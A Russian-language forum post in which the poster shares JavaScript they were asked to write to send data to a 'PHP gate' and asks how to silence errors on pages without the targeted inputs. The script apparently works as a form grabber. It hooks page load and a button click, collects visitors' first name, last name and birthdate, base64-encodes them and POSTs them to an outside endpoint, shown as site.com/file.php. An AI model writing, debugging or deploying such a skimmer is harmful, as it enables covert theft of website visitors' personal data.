Задали написать простой скрипт с отправкой данных на пхп гейт
Все идеально работает на странице где есть нужные формы, но на странице где нету требуемых в скрипте инпутов в консоль выдает ошибки:
Uncaught TypeError: document.querySelector(...) is null
stepOne
file:///home/admin/Desktop/test/script.js:22
file:///home/admin/Desktop/test/script.js:16
addLoadEvent
file:///home/admin/Desktop/test/script.js:4
file:///home/admin/Desktop/test/script.js:13
Понимаю что ошибки из за того что он не может найти селекторы указанные в скрипте, но как убрать эти ошибки?
function addLoadEvent(func) {
let oldonload = window.onload;
if (typeof window.onload != 'function') {
window.onload = func;
} else {
window.onload = function() {
oldonload(undefined);
func();
}
}
}
addLoadEvent(function() {
if (document.querySelector('input[class="fname"]') !== -1) {
stepOne()
console.log("stepOne");
function stepOne() {
document.querySelector('button[class="btn btnPrimary"]').onclick = function () {
stepTwo()
}
}
function stepTwo() {
let fname_value;
fname_value = document.querySelector('input[class="fname"]').value;
let lname_value;
lname_value = document.querySelector('input[class="lname"]').value;
let bdate_value;
bdate_value = document.querySelector('input[class="birthdate"]').value;
let secure = {
fname_key: fname_value,
lname_key: lname_value,
bdate_key: bdate_value
};
let json_string = JSON.stringify(secure);
let base64_json_string = btoa(json_string);
let XMLHttpObj = new XMLHttpRequest();
XMLHttpObj.open("POST", "https://site.com/file.php?" + "secure=" +
base64_json_string);
XMLHttpObj.send("true" + base64_json_string);
return true
}
}
});